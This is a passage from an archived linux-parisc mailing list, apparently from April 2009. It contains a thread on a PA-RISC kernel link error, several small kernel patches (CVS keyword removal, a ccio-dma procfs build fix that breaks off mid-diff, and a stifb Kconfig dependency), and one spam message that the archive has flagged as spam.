cflags-y        += -ffunction-sections

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Thu, 2 Apr 2009 11:55:04 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <20090402155504.GD14159@bombadil.infradead.org>
References: <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com> <20090318140026.7F06C4FA9@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238687718 22568 80.91.229.12 (2 Apr 2009 15:55:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2009 15:55:18 +0000 (UTC)
Cc: Alexander Beregalov <a.beregalov@gmail.com>,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 17:56:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpPHN-00082F-W5
	for glpp-linux-parisc@gmane.org; Thu, 02 Apr 2009 17:56:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751268AbZDBPzI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 11:55:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751527AbZDBPzI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 11:55:08 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55530 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751268AbZDBPzH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 11:55:07 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1LpPFw-0004mw-Dz; Thu, 02 Apr 2009 15:55:04 +0000
Content-Disposition: inline
In-Reply-To: <20090318140026.7F06C4FA9@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1472
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1472>

On Wed, Mar 18, 2009 at 10:00:26AM -0400, John David Anglin wrote:
> > ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot reach
> > 000000b2_b2:46+4068, recompile with -ffunction-sections
> > ld: arch/parisc/kernel/built-in.o(.text+0xc84): cannot handle
> > R_PARISC_PCREL12F for .text
> > 
> 
> -ffunction-sections won't work because GCC doesn't generate calls
> with instructions that would use a R_PARISC_PCREL12F relocation.
> This is some kind of conditional branch.  Probably, it's in some
> kernel assembly code.
> 
> You need to use nm, objdump and/or readelf to determine which file
> contributing to built-in.o contains the branch.  I looked in one of
> my builds and didn't see this relocation.
> 

This is... somewhat special. I've never seen this either. Possibly I
should install a Gentoo machine so I can reproduce with their toolchain?

objdump -dr arch/parisc/kernel/built-in.o | grep PCREL12F should tell
you where the problem is. I agree with JDA, judging by the fact that
it's the kernel/built-in.o, I would guess it's assembler as well.

(Sorry for taking so long to get to this thread, I must have missed it
 while I was in Boston.)

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: remove CVS keywords
Date: Fri, 3 Apr 2009 05:49:22 +0400
Lines: 98
Approved: news@gmane.org
Message-ID: <20090403014922.GA28891@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238723380 3586 80.91.229.12 (3 Apr 2009 01:49:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 01:49:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org, kyle@mcmartin.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 03:50:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpYYY-00049O-PB
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 03:50:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754552AbZDCBta (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2009 21:49:30 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754732AbZDCBta
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 2 Apr 2009 21:49:30 -0400
Original-Received: from mail-bw0-f169.google.com ([209.85.218.169]:40013 "EHLO
	mail-bw0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754552AbZDCBt3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2009 21:49:29 -0400
Original-Received: by bwz17 with SMTP id 17so769830bwz.37
        for <linux-parisc@vger.kernel.org>; Thu, 02 Apr 2009 18:49:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=pXIqGv2LV1fLIbN5Yeww1ZlxHjn2yK7CphXRxU+Xx20=;
        b=pfRhHeNiXFFAelJxcnku3ttYyXbl0wrNc71tQ285etK5fZU0q/dONMqGrM2874M2W4
         f52t0mWlJneLueTEYdjac4NnW1HgZgorbkzWqlPckN8smIU+U/rkJL+7E6skuaWNE/mU
         ZTO3kmCDZ8+HraBB223N+HJrG6ckJZBYX4NC0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=kh4wA36ySSYZYXv4a2d1Yb7diGdebikVUw3uqOzpaLlCyU5KaIA80BIdZZ/c3WuhgL
         zfihxY2evhW8JgABTdlYpWw6rOnnYl3/h7wxEgqC+MszxCF41gli+QC9EbeWj4eES/KZ
         2WWFfl1abdx1LRfSCfF0ARwi+FBCtMcZKgX5U=
Original-Received: by 10.102.228.10 with SMTP id a10mr321839muh.26.1238723366156;
        Thu, 02 Apr 2009 18:49:26 -0700 (PDT)
Original-Received: from orion ([91.78.19.108])
        by mx.google.com with ESMTPS id j9sm1512098mue.40.2009.04.02.18.49.25
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Thu, 02 Apr 2009 18:49:25 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1473>



Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 arch/parisc/include/asm/dma.h  |    3 +--
 arch/parisc/kernel/cache.c     |    3 +--
 arch/parisc/kernel/pci.c       |    3 +--
 arch/parisc/kernel/processor.c |    3 +--
 arch/parisc/kernel/setup.c     |    3 +--
 arch/parisc/lib/checksum.c     |    2 --
 arch/parisc/mm/fault.c         |    3 +--
 7 files changed, 6 insertions(+), 14 deletions(-)

diff --git a/arch/parisc/include/asm/dma.h b/arch/parisc/include/asm/dma.h
index 31ad0f0..f7a18f9 100644
--- a/arch/parisc/include/asm/dma.h
+++ b/arch/parisc/include/asm/dma.h
@@ -1,5 +1,4 @@
-/* $Id: dma.h,v 1.2 1999/04/27 00:46:18 deller Exp $
- * linux/include/asm/dma.h: Defines for using and allocating dma channels.
+/* asm/dma.h: Defines for using and allocating dma channels.
  * Written by Hennus Bergman, 1992.
  * High DMA channel support & info by Hannu Savolainen
  * and John Boyd, Nov. 1992.
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 837530e..f34082d 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -1,5 +1,4 @@
-/* $Id: cache.c,v 1.4 2000/01/25 00:11:38 prumpf Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 6936386..f7064ab 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -1,5 +1,4 @@
-/* $Id: pci.c,v 1.6 2000/01/29 00:12:05 grundler Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
index ecb6093..6ce3b52 100644
--- a/arch/parisc/kernel/processor.c
+++ b/arch/parisc/kernel/processor.c
@@ -1,5 +1,4 @@
-/*    $Id: processor.c,v 1.1 2002/07/20 16:27:06 rhirst Exp $
- *
+/*
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 82131ca..cb71f3d 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -1,5 +1,4 @@
-/*    $Id: setup.c,v 1.8 2000/02/02 04:42:38 prumpf Exp $
- *
+/*
  *    Initial setup-routines for HP 9000 based hardware.
  *
  *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
diff --git a/arch/parisc/lib/checksum.c b/arch/parisc/lib/checksum.c
index 462696d..ae66d31 100644
--- a/arch/parisc/lib/checksum.c
+++ b/arch/parisc/lib/checksum.c
@@ -13,8 +13,6 @@
  *		modify it under the terms of the GNU General Public License
  *		as published by the Free Software Foundation; either version
  *		2 of the License, or (at your option) any later version.
- *
- * $Id: checksum.c,v 1.3 1997/12/01 17:57:34 ralf Exp $
  */
 #include <linux/module.h>
 #include <linux/types.h>
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 92c7fa4..d617e79 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -1,5 +1,4 @@
-/* $Id: fault.c,v 1.5 2000/01/26 16:20:29 jsm Exp $
- *
+/*
  * This file is subject to the terms and conditions of the GNU General Public
  * License.  See the file "COPYING" in the main directory of this archive
  * for more details.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ned Rowe" <jojoscott@marvinhenkin.com>
Newsgroups: gmane.linux.ports.parisc,gmane.spam.detected
Subject: Your confirmation period has expired
Date: Fri, 3 Apr 2009 07:03:26 +0200
Lines: 7
Approved: news@gmane.org
Message-ID: <20090403070326.9070805@marvinhenkin.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1238731710 19801 80.91.229.12 (3 Apr 2009 04:08:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 04:08:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 06:09:48 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lpais-0002vV-Vg
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 06:09:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750956AbZDCEIH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 00:08:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750707AbZDCEIH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 00:08:07 -0400
Original-Received: from [88.228.198.119] ([88.228.198.119]:1449 "HELO wergvan"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1751271AbZDCEIF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 00:08:05 -0400
Original-Received: from eitt ([132.91.228.24]) by wergvan with Microsoft SMTPSVC(6.0.3790.0); Fri, 3 Apr 2009 07:03:26 +0200
User-Agent: Thunderbird 2.0.0.9 (Windows/20071031)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 13.5 points;
 *  3.0 RAZOR2_CF_RANGE_51_100 BODY: Razor2 gives confidence level above 50%
 *      [cf: 100]
 *  1.0 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)
 *  4.0 RCVD_IN_XBL RBL: Received via a relay in Spamhaus XBL
 *      [88.228.198.119 listed in sbl-xbl.spamhaus.org]
 *  1.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist
 *      [URIs: gotbake.net]
 *  4.0 URIBL_SC_SURBL Contains an URL listed in the SC SURBL blocklist
 *      [URIs: gotbake.net]
Xref: news.gmane.org gmane.linux.ports.parisc:1474 gmane.spam.detected:4359974
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1474>

Get rid of bad health. http://trow.gotbake.net/

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: ccio-dma: fix build failure without procfs
Date: Fri, 3 Apr 2009 16:08:54 +0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20090403120854.GA29187@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238760559 31234 80.91.229.12 (3 Apr 2009 12:09:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 12:09:19 +0000 (UTC)
To: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 14:10:37 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpiEC-0000dQ-9M
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 14:10:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751388AbZDCMJH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 08:09:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754821AbZDCMJH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 08:09:07 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.233]:15928 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751388AbZDCMJF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 08:09:05 -0400
Original-Received: by rv-out-0506.google.com with SMTP id f9so1148952rvb.1
        for <linux-parisc@vger.kernel.org>; Fri, 03 Apr 2009 05:09:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=3JxuawH1H1t4sl/TQU5qZXjJ9T8LQ2xj4S2dd8uWWSY=;
        b=wF0Yv+zPUYOIEn1Zy8WuVVrW/2fyDly9G7oarRsfG+dJzcQthQBmvuTB4Ur08Kbzri
         K8Gvd38zi5Gv42qXKBNl1hkL2UVnfQ6dZpiWAMFWO6HO00OO4tpWxgkdjgJR5R8ztQ/f
         OKxzL6jNWZE6bioFr4UN7F9FtvCTwpOwbmG6w=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=r7rihe2cznSAmOQgUKEOtKhknSPLkAK/AlfbyZpMKdZUeHNCjRy9g/r8HAiY2IjBWp
         zuXQgvoesbpHRIi5HniblSyTtNPwbU23KbXX0mHwAEedQIeT9j0xgG1ssFQJehNYEZLv
         NuwKYkVaekiLN9+C9VIzuqUcJQogjuB84i6Es=
Original-Received: by 10.141.210.21 with SMTP id m21mr534589rvq.204.1238760543398;
        Fri, 03 Apr 2009 05:09:03 -0700 (PDT)
Original-Received: from orion ([91.78.19.108])
        by mx.google.com with ESMTPS id b8sm6525067rvf.52.2009.04.03.05.08.59
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 03 Apr 2009 05:09:02 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1475
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1475>

Fix this build error when CONFIG_PROC_FS is not set:
drivers/parisc/ccio-dma.c:1574: error: 'ccio_proc_info_fops' undeclared

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 drivers/parisc/ccio-dma.c |    7 ++++---
 1 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 5d610cb..0f0e0b9 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1134,7 +1134,7 @@ static const struct file_operations ccio_proc_bitmap_fops = {
 	.llseek = seq_lseek,
 	.release = single_release,
 };
-#endif
+#endif /* CONFIG_PROC_FS */
 
 /**
  * ccio_find_ioc - Find the ioc in the ioc_list
@@ -1568,14 +1568,15 @@ static int __init ccio_probe(struct parisc_device *dev)
 	/* if this fails, no I/O cards will work, so may as well bug */
 	BUG_ON(dev->dev.platform_data == NULL);
 	HBA_DATA(dev->dev.platform_data)->iommu = ioc;
-	
+
+#ifdef CONFIG_PROC_FS
 	if (ioc_count == 0) {
 		proc_create(MODULE_NAME, 0, proc_runway_root,
 			    &ccio_proc_info_fops);
 		proc_create(MODULE_NAME"-bitmap", 0, proc_runway_root,
 			    &ccio_proc_bitmap_fops);
 	}

From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] stifb: should depend on STI_CONSOLE
Date: Fri, 3 Apr 2009 17:33:32 +0400
Lines: 27
Approved: news@gmane.org
Message-ID: <20090403133332.GA29437@orion>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1238765641 15644 80.91.229.12 (3 Apr 2009 13:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 13:34:01 +0000 (UTC)
To: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 15:35:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpjY8-0002Sd-02
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 15:35:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757551AbZDCNdq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 09:33:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759430AbZDCNdq
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 09:33:46 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.238]:23613 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751563AbZDCNdo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 09:33:44 -0400
Original-Received: by rv-out-0506.google.com with SMTP id f9so1179003rvb.1
        for <linux-parisc@vger.kernel.org>; Fri, 03 Apr 2009 06:33:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:date:from:to:subject
         :message-id:mime-version:content-type:content-disposition:user-agent;
        bh=p1eUMfMxsqgvHX1dGJ3PuWFDGA0zixghleL0IpOWevU=;
        b=vG0MYZI4P5cpwYL7Ks6MngZLqkJZduhTyKV/lEVBXDhqWvFAyw6B+IIEmdY+7Q/AK4
         pROtmzO5CqlyhdVW2FKY0dmPJcg14lo3Jj1zPUIOsoH4MNyw3ZMYEXkXhbqcAwdtgM+k
         KXBNmcVi5qGmk+y/5nYXxWLiCCJuBwtembSC4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=date:from:to:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        b=MFkWMS9UNdlIEjA5uldFZHNxL0OLGLZzi/Li9u6VJ9NsoLT6TfE8lRIzjQiRs4Vi0W
         XhObu6FuU6z/U8G9L2R7keg8jL6oHnB/Z13UNtN/w9PSTUd8jkqd9YIsXP0QYkV7DQLL
         T+FQGiFbjWLa7kpDT6esG1JcOk6zb+kJd9XEA=
Original-Received: by 10.140.142.15 with SMTP id p15mr567128rvd.177.1238765622908;
        Fri, 03 Apr 2009 06:33:42 -0700 (PDT)
Original-Received: from orion ([91.78.19.108])
        by mx.google.com with ESMTPS id b8sm6998618rvf.2.2009.04.03.06.33.40
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Fri, 03 Apr 2009 06:33:42 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1476>

Fix this build error when CONFIG_STI_CONSOLE is not set
drivers/video/stifb.c:1337: undefined reference to `sti_get_rom'

Signed-off-by: Alexander Beregalov <a.beregalov@gmail.com>
---

 drivers/video/Kconfig |    2 ++
 1 files changed, 2 insertions(+), 0 deletions(-)

diff --git a/drivers/video/Kconfig b/drivers/video/Kconfig
index ffe2f27..cfb2014 100644
--- a/drivers/video/Kconfig
+++ b/drivers/video/Kconfig
@@ -616,6 +616,8 @@ config FB_STI
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
+	select STI_CONSOLE
+	select VT
 	default y
 	---help---
 	  STI refers to the HP "Standard Text Interface" which is a set of
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Beregalov <a.beregalov@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: can't compile kernel for parisc
Date: Fri, 3 Apr 2009 17:57:38 +0400
Lines: 56
Approved: news@gmane.org
Message-ID: <a4423d670904030657r4ba8b472x285d8dc2ded160f8@mail.gmail.com>
References: <a4423d670903180455u20ead146k919426a1fb7276c6@mail.gmail.com>
	 <20090318140026.7F06C4FA9@hiauly1.hia.nrc.ca>
	 <20090402155504.GD14159@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1238767100 20843 80.91.229.12 (3 Apr 2009 13:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Apr 2009 13:58:20 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	carlos@systemhalted.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 03 15:59:38 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LpjvP-0004pm-0Y
	for glpp-linux-parisc@gmane.org; Fri, 03 Apr 2009 15:59:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765649AbZDCN5n convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Apr 2009 09:57:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765127AbZDCN5m
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 3 Apr 2009 09:57:42 -0400
Original-Received: from mail-ew0-f165.google.com ([209.85.219.165]:48555 "EHLO
	mail-ew0-f165.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760834AbZDCN5l convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Apr 2009 09:57:41 -0400
Original-Received: by ewy9 with SMTP id 9so993738ewy.37
        for <linux-parisc@vger.kernel.org>; Fri, 03 Apr 2009 06:57:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:received:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=c3gr7arImcJl7XWV9DPA+2puSSoyi6XWSVb1T6dWDbI=;
        b=qUaFhKObAl7csXQqwdqVyvJC4GssztLAMpkBk72CGimMgIFRfGTkbnzB1hRa4IUsbL
         tdTJQl08Uz9HLwkDgjnANHw+hxSs8IJvilg8pe/71EkVP6iQbeLiaMHW59kSwrdCQWvb
         DSnfDKulg+bicXAKh9i7iubN0KUPyZJs+jjN8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:content-transfer-encoding;
        b=qsVFkc/rel5e3SXOw4EsLyUTpc+UG3Vfhwg16YsbymmSFTDA4LjFrVZmKk6F3Yj65K
         X3Tpf/AIsZVlP+fKU9nWht6eBqM35Qfka+PzZnmY9AoUHODijl6GmprX54wm/ThTBSmM
         o5QMvsU4WcSKE/LNQpnxMEVxFR3I9hEqQu/qo=
Original-Received: by 10.210.45.17 with SMTP id s17mr555110ebs.17.1238767058073; Fri, 
	03 Apr 2009 06:57:38 -0700 (PDT)
In-Reply-To: <20090402155504.GD14159@bombadil.infradead.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1477
